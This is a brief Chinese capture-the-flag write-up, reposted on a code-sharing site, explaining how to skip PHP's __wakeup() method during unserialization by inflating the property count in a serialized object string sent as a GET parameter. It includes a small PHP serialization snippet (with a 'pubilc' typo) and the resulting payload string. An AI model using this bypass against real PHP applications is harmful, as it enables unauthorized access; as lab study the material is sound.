XCTF-反序列化中_wakeup()函數


跳過_wakeup()魔法函數
__wakeup(): 將在序列化之后立即被調用
漏洞原理: 當反序列化字符串中,表示屬性個數的值大於其真實值,則跳過__wakeup()執行

 

對於該題,先可以看到類xctf中有flag變量,並調用了__wakeup(),則考慮實例化xctf類並將其變量序列化。並猜測意圖為將序列化結果輸入在?code=后進行GET請求。
進行序列化操作

 1 <?php  2 class xctf{  3 public $flag = '111';  4 pubilc function __wakeup(){  5 exit('bad requests');  6 }  7 }  8  
 9 $a = new xctf(); 10 echo(serialize($a)); 11 ?>

// 序列化輸出結果為:
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}

xctf為類名,4為字符數,1為序列化字符串中變量個數
正常結果輸入時,會執行__wakeup(),從而輸出'bad requests',並退出腳本,因此利用漏洞繞過__wakeup()
將序列化字符串中代表變量個數的數字改為大於其真實值的數字,並進行GET請求,得到結果。

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM